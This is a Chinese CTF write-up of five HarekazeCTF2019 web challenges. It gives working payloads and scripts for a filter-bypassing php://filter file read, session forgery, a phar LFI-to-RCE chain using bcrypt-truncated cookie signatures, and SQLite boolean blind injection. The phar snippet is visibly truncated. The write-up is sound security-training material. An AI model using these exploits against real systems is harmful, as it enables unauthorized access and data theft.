HarekazeCTF2019

前言

HarekazeCTF2019复现现场……

复现过程

(1)encode..

这题提供源码,是一道代码审计题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');//获得post的数据
$json = json_decode($body, true);//对post的数据进行json解码

if (is_valid($body) && isset($json) && isset($json['page']))
{
$page = $json['page'];//获取json中的page的内容
$content = file_get_contents($page);//获取page指定的文件的内容
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
}
else
{
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);//对文件内容进行检验
echo json_encode(['content' => $content]);

其中

1
2
$body = file_get_contents('php://input');//获得post的数据
$json = json_decode($body, true);//对post的数据进行解码

先来一个if判断,对post的数据进行检验,过了if判断后,对检验json中的page的内容。像这样…..

这里有两个点:
(1)使用Unicode编码可以绕过is_valid()的检验

(2)file_get_content()可以触发php://filter伪协议

所以最终:

payload:

1
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

(2)Easy Notes

这道题的题目是提供源码的

当我们登录后去,去是的读取Get flag

发现这里是不可行的,说我们不是admin…..

猜测是伪造admin的Session

然后审计源码

跟进is_admin()

1
2
3
4
5
6
function is_admin() {
if (!isset($_SESSION['admin'])) {
return false;
}
return $_SESSION['admin'] === true;
}

果然是需要session为admin

然后看到export.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
require_once('init.php');

if (!is_logged_in()) {
redirect('/?page=home');
}

$notes = get_notes();

if (!isset($_GET['type']) || empty($_GET['type'])) {
$type = 'zip';
} else {
$type = $_GET['type'];
}

$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;

if ($type === 'tar') {
$archive = new PharData($path);
$archive->startBuffering();
} else {
// use zip as default
$archive = new ZipArchive();
$archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
}

for ($index = 0; $index < count($notes); $index++) {
$note = $notes[$index];
$title = $note['title'];
$title = preg_replace('/[^!-~]/', '-', $title);
$title = preg_replace('#[/\\?*.]#', '-', $title); // delete suspicious characters
$archive->addFromString("{$index}_{$title}.json", json_encode($note));
}

if ($type === 'tar') {
$archive->stopBuffering();
} else {
$archive->close();
}

header('Content-Disposition: attachment; filename="' . $filename . '";');
header('Content-Length: ' . filesize($path));
header('Content-Type: application/zip');
readfile($path);

export.php的作用是将我们add的note导出成zip或者rar,而导出的数据存放的位置就是$path

1573796118066

其中TEMP_DIR

1
define('TEMP_DIR', '/var/www/tmp');

说明session文件和notes文件存放的位置是一样的

那我们可以把notes文件伪造成session文件,伪造session文件的方法如下,看到代码:

1573796309405

username写成:sess_

$type我们写成一个’.’就好了

那这样子$filename就是sess_-0123456789abcdef..

经过str_replace(),就变成了sess_-0123456789abcdef

那么另一个问题是如何把内容写入session文件,看到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ($type === 'tar') {
$archive = new PharData($path);
$archive->startBuffering();
} else {
// use zip as default
$archive = new ZipArchive();
$archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
}


for ($index = 0; $index < count($notes); $index++) {
$note = $notes[$index];
$title = $note['title'];
$title = preg_replace('/[^!-~]/', '-', $title);
$title = preg_replace('#[/\\?*.]#', '-', $title); // delete suspicious characters
$archive->addFromString("{$index}_{$title}.json", json_encode($note));
}

其中

1573797062110

ZipArchive::open()中的$path可以指定为任何文件,只要后面的参数正确,我们就能改写该文件.

然后我们就能在title处把文件写进去

然后我们要写什么文件呢?

php 默认的 session 反序列化方式是php ,其存储方式为键名+竖线+经过serialize函数序列处理的值

例如:name|s:6:”cookie”;

这就可以伪造 admin了.

1573797937267

1573797923249

获得一个filename,这个就是sessionid

1573797983987

访问获得flag

(3)Avatar Uploader 1

打开靶机,任意用户名登录后

要求上传一个PNG图片,大小小于256KB,像素小于256px*256px

当我们上传一个符合要求的png图片,使用burp抓包,修改后缀名还有Content-type,后仍然是可以上传成功的

题目提供源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

?>

这段代码想要获得flag的方法就是上传的文件在finfo_file()的检测下是png,而在getimagesize()的判断下不是png.

利用finfo_file()的一个特性:finfo_file()函数可以识别png图片十六进制的第一行,然而getimagesize()不可以

所以上传这个文件就能获得flag

(4)Avatar Uploader 2

代码审计题

这题考察的是LFI

漏洞产生点

首先审计代码,在index.php中看到

1575981418056

怀疑存在文件包含漏洞.这个点先放着

跟进session.php

这是一个session类,关于session的所有操作都在这儿产生.

那么先看到__construct()

1575981664370

我们在burp抓包的时候可以看到这里的cookie

1575981800536

可以看到该构造方法的作用在于将传入的session根据”.”分割成$data和$signature.

$data和$signature经过urlsafe_base64_decode(),再经过verify()认证.认证成功后,就将其进行json_decode.至此可以获得data数据.

分析get()

1
2
3
4
5
6
7
public function get($key, $defaultValue = null){
if (!$this->isset($key)) {
return $defaultValue;
}

return $this->data[$key];
}

跟进isset()

1
2
3
public function isset($key) {
return array_key_exists($key, $this->data);
}

也就是说通过get()方法,在Index.php上实施LFI.

攻击思路

目标很明确,我们需要自写session.

代码中是通过save()产生session的

1575983412359

将data数据进行json_encode,其结果为$json,然后将$json进行urlsafe_base64_encode(),并和$json经过sign()的签名加密后的base64_encode()的结果进行拼接,作为session.

跟进sign()

1
2
3
private function sign($string) {
return password_hash($this->secret . $string, PASSWORD_BCRYPT);
}

其中password_hash存在截断问题

1575983904408

这里对应在__construct()中调用的verify()函数

1
2
3
private function verify($string, $signature) {
return password_verify($this->secret . $string, $signature);
}

说明$this->secret . $string超过72个字符后,我们可以随便写,产生的签名都是相同的.由此绕过verify()

所以我们只要找到一个点触发save函数,并且设置的cookie的data字段超过72个字符就行了.

寻找触发点

在upload.php中的error()

1575984685646

可触发save()方法.

实施攻击

访问upload.php,这时,我们不传文件,便会触发一个错误信息,产生一个包含错误信息的cookie:

1576026517151

cookie进行解码

1
{"name":"cookie","avatar":"3f4e1410.png","flash":{"type":"error","message":"No file was uploaded."}}

很明显已经超过了72个字符.

在index.php中触发点需要包含css文件,使用phar协议,在phar中复合一个带有马的exp.css,然后改变theme字段为:phar://uploads/xxxxxx.png/exp,成功包含后就可以实现rce了.

生成phar

1
2
3
4
<?php
?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

登录账号上传phar文件:

1576026985111

生成exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function urlsafe_base64_encode($data) {
return rtrim(str_replace(['+', '/'], ['-', '_'], base64_encode($data)), '=');
}

function urlsafe_base64_decode($data) {
return base64_decode(str_replace(['-', '_'], ['+', '/'], $data) . str_repeat('=', 3 - (3 + strlen($data)) % 4));
}

$cookie = "eyJuYW1lIjoiY29va2llIiwiYXZhdGFyIjoiM2Y0ZTE0MTAucG5nIiwiZmxhc2giOnsidHlwZSI6ImVycm9yIiwibWVzc2FnZSI6Ik5vIGZpbGUgd2FzIHVwbG9hZGVkLiJ9fQ.JDJ5JDEwJEJhVWs3bEg0Mk9UOWFjN3AxR01IQnVMMTZycnE0cTJ3ZjdRRXlCTXVMYUVwUUNBQWFwMy5T";
list($data, $signature) = explode('.', $cookie);
$data = urlsafe_base64_decode($data);
var_dump($data);
$json = json_decode($data,true);
var_dump($json['avatar']);
$avatar = $json['avatar'];
$data = str_replace('}}','},"theme":"phar://uploads/'.$avatar.'/exp"}',$data);
var_dump($data);
$data = urlsafe_base64_encode($data);
$cookie = $data . '.'. $signature;
var_dump($cookie);

1576027456782

然后用此exp做rce….

1576027364276

读取根目录下的的flag文件

1576027672596

(5)Sqlite Voting

提供源码:

vote.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

header("Content-Type: text/json; charset=utf-8");

// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {
die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Vote id contains dangerous chars']));
}

// update database
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}

// succeeded!
echo json_encode([
'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]);

从这段源码可以得到连两个信息:

(1)它过滤掉的函数以及一些注入时需要的关键字符,包括空格。

(2)向数据库更新id数据时,更新成功和更新失败返回的内容是不一样的。说明这里存在布尔盲注

schema.sql:

lite
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
DROP TABLE IF EXISTS `vote`;
CREATE TABLE `vote` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`name` TEXT NOT NULL,
`count` INTEGER
);
INSERT INTO `vote` (`name`, `count`) VALUES
('dog', 0),
('cat', 0),
('zebra', 0),
('koala', 0);

DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
`flag` TEXT NOT NULL
);
INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');

从这里可以提取两个信息:

(1)数据库中有两个数据表,其中一个是vote,一个是flag

(2)flag在flag表中,我们获取flag,通过查询语句:select(flag)from(flag)

寻找报错触发点

上文说到的布尔盲注,这里是使用到了数据库报错,导致的数据更新失败,使得我们可以由此作为数据库判断依据的思路。那么如何使数据库报错?

这里使用的数据库是sqlite3,在sqlite中有一个abs()函数,这个函数存在整形溢出报错的问题,如下图所示:

只要出现溢出报错,那么就能触发这个布尔盲注。

获取flag的长度

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#coding: utf-8
import requests
url = "http://a84c8635-79fe-45a4-8687-64bed6855f24.node3.buuoj.cn/vote.php"
length=0
s = requests.Session()
for n in range(16):
payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'
#print(payload)
data = {'id':payload}
r = s.post(url=url,data=data)
#print(r.text)
if 'occurred' in r.text:
length=length|1<<n
print("the legnth of flag:"+str(length))

解释一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> bin(17)
'0b10001'
>>> 17&1<<0
1
>>> 17&1<<1
0
>>> 17&1<<2
0
>>> 17&1<<3
0
>>> 17&1<<4
16
>>> 17&1<<5
0

首先,我们知道&运算,做按位与运算,其中1<<n表示2的n次方。像例子中写的一样,一个数我们可以通过判断它和1<<n做&运算,查看回显,判断这个数的大小。上面这个数就是(1<<0)+(1<<4),结果是17.

同样的道理来判断flag的16进制值的长度,payload如下:

1
abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)

这个payload中巧妙地构造了:

1
abs(case(判断语句)when(0)then(0)else(0x8000000000000000)end)

在这个exp中,对于其判断语句中的查询结果为0,则返回0。如果不为0,则返回abs(0x8000000000000000),这时就会产生整形溢出。当出现溢出的时候,报错,然后返回的1<<n,进行累加。

获得flag的16进制值的长度为84。

盲注flag

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import binascii
import requests
url = "http://66d23d52-22fc-4418-b081-0bcbbc263386.node3.buuoj.cn/vote.php"
length=84
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = 'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||' + table["C"] + '||' + table["F"] +')'

s = requests.Session()
res = binascii.hexlify(b'flag{').decode().upper()
flag=""
for a in res:
if a in "0123456789":
flag = flag+a+'||'
else:
flag = flag+table[a]+'||'
flag=flag[:-2]

for i in range(len(res),length):
for j in '0123456789ABCDEF':
if j in '0123456789':
str = flag+'||'+j
else:
str = flag+'||'+table[j]
payload = "abs(case(replace(length(replace(hex((select(flag)from(flag))),"+str+",trim(0,0))),84,trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)"
data = {'id':payload}
r = s.post(url=url,data=data)
if 'An error' in r.text:
print(f'the numebr of {i}')
res = res+j
print(res)
flag=str
break

print('the source is:'+res)
print('the flag is '+binascii.unhexlify(res).decode())

解释一下:

我们现在已经获得了flag的长度,那么我们如何进行盲注出flag每一位的字符呢?

lite
1
2
sqlite> select hex((select(flag1)from(flag1)));
666C61677B636F6F6B69657D

如下所示:

lite
1
2
3
4
sqlite> select replace(hex((select(flag1)from(flag1))),'666C61677B6','');
36F6F6B69657D
sqlite> select replace(hex((select(flag1)from(flag1))),'666C61677B7','');
666C61677B636F6F6B69657D

第一种情况,替换用的字符串是对的,所以回显的字符串是截取后的结果。

第二种情况,替换用的字符串是错的,所以回显的字符串是原本的字符串。

lite
1
2
3
4
5
6
7
8
9
sqlite> select length(replace(hex((select(flag1)from(flag1))),'666C61677B6',''));
13
sqlite> select replace(length(replace(hex((select(flag1)from(flag1))),'666C61677B6','')),24,'');
13
sqlite> select length(replace(hex((select(flag1)from(flag1))),'666C61677B7',''));
24
sqlite> select replace(length(replace(hex((select(flag1)from(flag1))),'666C61677B7','')),24,'');

sqlite>

情况一中回显是有的。而情况一中用来替换的字符串是对的。

情况二中回显是空的。而情况二中用来替换的字符串是错的。

所以最好玩的地方来了,我们可以构造这样的语句,为盲注做准备:

1
replace(length(replace(hex((select(flag)from(flag))),替换的字符串,'')),84,'')

问题来了,单引号还有空格被过滤了:

1
2
3
1)空字符:trim(0,0)

2)字符串:A||B

然后A-F我们通过特殊构造获得:

lite
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# hex(b'zebra') = 7A65627261
# 除去 12567 就是 A ,其余同理
A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'

C = 'trim(hex(typeof(.1)),12567)'

D = 'trim(hex(0xffffffffffffffff),123)'

E = 'trim(hex(0.1),1230)'

F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'

# hex(b'koala') = 6B6F616C61
# 除去 16CF 就是 B
B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'

所以最终有payload如下:

1
abs(case(replace(length(replace(hex((select(flag)from(flag))),str,trim(0,0))),84,trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)

str为我们要替换的字符。具体看exp。

总结

(1)使用溢出产生报错的思路

(2)replace(),trim(),case…. when ….. then…. else…..的妙用

(3)字符的构造想法也很妙

总结

比较有难度的是Upload2,还有Sqlite Voting

然后这个比赛代码审计的内容较多,所以对代码的审计能力还需加把劲……..

Author: 我是小吴啦
Link: http://yoursite.com/2019/10/10/HarekazeCTF2019/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.